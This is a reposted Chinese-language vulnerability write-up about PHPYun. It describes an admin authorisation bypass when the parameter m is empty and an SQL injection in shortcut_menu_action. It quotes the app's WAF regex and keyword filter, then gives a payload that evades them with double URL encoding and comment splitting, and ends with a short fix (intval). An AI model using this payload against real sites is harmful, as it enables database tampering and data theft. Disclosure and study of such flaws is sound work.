来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 想在PHP云里进行一次SQL注射,真的是好难。我首先发现了一个SQL注射,这个过程也不轻松。在phpyun model class action class php中function get_admin_user_shell(){ if($_SESSION[ 39;auid 39;] $_SES...
想在PHP云里进行一次SQL注射,真的是好难。 我首先发现了一个SQL注射,这个过程也不轻松。
function get_admin_user_shell(){ if($_SESSION['auid'] && $_SESSION['ashell']){ $row=$this->admin_get_user_shell($_SESSION['auid'],$_SESSION['ashell']); if(!$row){$this->logout();echo "无权操作!";die;} if($_GET['m']=="" || $_GET['m']=="index" || $_GET['m']=="ajax" || $_GET['m']=="admin_nav"){$_GET['m']="admin_right";} $c=$_GET['c'];$m=$_GET['m']; if($_GET['m']!="admin_right"){ $url=$_GET['m']=="cache"?"index.php?m=".$m."&c=".$c:"index.php?m=".$m; $nav=$this->get_shell($row["m_id"],$url); if(!$nav){$this->logout();echo "无权操作!";die;} } }else{ if($_GET['m']!=""){ $this->logout(); echo "无权操作!";die; } } }
if($_GET['m']!=""){ ,没错,只要m为空,那么这个后台的操作是可以被任何人操作的,正好,有一个操作就存在SQL注射漏洞。 function shortcut_menu_action(){ if($_POST['chk_value']){ $this->obj->DB_update_all("admin_navigation","`menu`='1'","`menu`='2'"); echo "`id` in(".@implode(',',$_POST['chk_value']).")"; $this->obj->DB_update_all("admin_navigation","`menu`='2'","`id` in(".@implode(',',$_POST['chk_value']).")"); echo 1;die; } }
function admin(){ $r=$this->obj->get_admin_user_shell(); $this->registrs(); if($_POST){ if($_POST['pytoken']!=$_SESSION['pytoken']){ unset($_POST['pytoken']); $this->obj->ACT_layer_msg("来源地址非法!",3,$this->config['sy_weburl']); } } if(!$_SESSION['pytoken']){ $_SESSION['pytoken'] = substr(md5(uniqid().$_SESSION['auid'].$_SESSION['ausername'].$_SESSION['ashell']), 8, 12); } $this->yunset('pytoken',$_SESSION['pytoken']); }
if($_POST['pytoken']!=$_SESSION['pytoken']){ unset($_POST['pytoken']); $this->obj->ACT_layer_msg("来源地址非法!",3,$this->config['sy_weburl']); }
我们试试最简单的 or 1=1 吧,看,360出来了(我把360的iframe页面修改成了echo 出来360几个字符了)。
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function gpc2sql($str) { if(preg_match("/select|insert|update|delete|union|into|load_file|outfile/is", $str)) { exit(safe_pape()); } $arr=array(" and "=>" an d "," or "=>" Or ","%20"=>"","select"=>"Select","update"=>"Update","count"=>"Count","chr"=>"Chr","truncate"=>"Truncate","union"=>"Union","delete"=>"Delete","insert"=>"Insert"); foreach($arr as $key=>$v){ $str = preg_replace('/'.$key.'/isU',$v,$str); }
chk_value[]=1) o%2520r /*&chk_value[]=*/1=1#&pytoken=9a54d50f315b
由于or和and在%20的数组之前,我们才可以这么做的,但是select是不可以的,所以可以试试方法2
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
$r=rand(10000000,99999999); mysql_query("update $table_config set `config`='$r' where `name`='sy_safekey'");
修复方案:foreach后intval |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com